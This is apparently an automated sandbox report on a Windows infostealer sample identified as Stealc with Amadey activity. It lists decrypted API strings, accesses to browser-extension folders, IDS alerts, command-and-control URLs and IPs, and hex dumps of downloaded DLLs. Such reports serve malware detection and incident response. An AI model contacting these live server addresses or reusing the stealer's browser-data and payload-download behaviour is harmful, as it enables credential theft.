Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: OpenProcess
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: ole32.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: wininet.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: shell32.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: psapi.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: SelectObject
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: BitBlt
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: DeleteObject

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Code function: 0_2_6C326C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C326C80

Source: j7iUba2bki.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: j7iUba2bki.exe, 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: j7iUba2bki.exe, 00000000.00000002.2248691903.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: j7iUba2bki.exe, 00000000.00000002.2248691903.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: j7iUba2bki.exe, 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49705 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.5:49705 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.4:80 -> 192.168.2.5:49705
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.5:49705 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.4:80 -> 192.168.2.5:49705
Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.5:49720 -> 77.91.77.82:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 77.91.77.82:80 -> 192.168.2.5:49720

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 77.91.77.82
Source: Malware configuration extractor	IPs: 77.91.77.82

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 11:35:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 11:36:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 11:36:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 11:36:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 11:36:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 11:36:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 